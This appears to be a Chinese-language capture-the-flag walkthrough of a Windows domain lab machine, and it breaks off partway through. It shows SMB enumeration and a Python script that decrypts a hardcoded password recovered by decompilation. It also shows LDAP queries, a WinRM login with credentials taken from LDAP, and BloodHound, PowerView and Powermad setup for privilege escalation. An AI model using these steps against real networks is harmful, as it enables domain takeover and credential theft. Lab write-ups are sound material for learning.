发现并没有什么特别的

查看smb共享文件服务情况
image

toos 文件夹可以直接访问
image

另外两个文件夹我们没有访问权限
image

我们再里面发现了个最可疑的zip文件名
用ILSpy 解码 在里面发现了一些有意思的东西
image
可以看到password 是 从一个getpassword的函数返回来的 我们双击getpassword 进入这个函数
image
再双击这个encpassword
image

就能看到加密的密码

不行了用用chatgpt
我们将代码转化成python代码运行获得解密的密码

解密代码 
import base64# 加密的密码（Base64 编码）
enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
# 加密密钥
key = "armando"def decrypt_password(enc_password, key):# Base64 解码enc_bytes = base64.b64decode(enc_password)# 解密dec_bytes = bytearray(len(enc_bytes))key_bytes = key.encode('ascii')for i in range(len(enc_bytes)):dec_bytes[i] = (enc_bytes[i] ^ key_bytes[i % len(key_bytes)]) ^ 0xDF# 转换为字符串return dec_bytes.decode('utf-8', errors='ignore')# 运行解密
password = decrypt_password(enc_password, key)
print("解密后的密码:", password)

nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

再来查看ldap
ldapsearch -H ldap://10.10.11.174 -D ldap@support.htb -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "*"

终于发现了用户名和密码
image

support:Ironside47pleasure40Watchful

登录成功
evil-winrm -i 10.10.11.174 -u support -p "Ironside47pleasure40Watchful"
image

ok进入提权环节
我们先用bloodhound脚本
将生成的zip文件移动到 之前的smb共享目录
cp C:\users\support\corp_20250129202519_BloodHound.zip ./support-tools/corp_20250129202519_BloodHound.zip

将这个zip文件下载到本地
image

bloodhound启动
image

从bloodhound分析我们可以看出我们对dc 机器具有绝对控制权

bloodhound 有教我们如何利用
image
我们nslookup dc.support.com 发现dc.support.com 就是我们自己
image
也就是说我们当前这个用户对域控服务器有绝对控制权

导入powerview脚本
. .\powerview1.ps1
导入powermad脚本
. .\Powermad.ps1
创建一个电脑对象
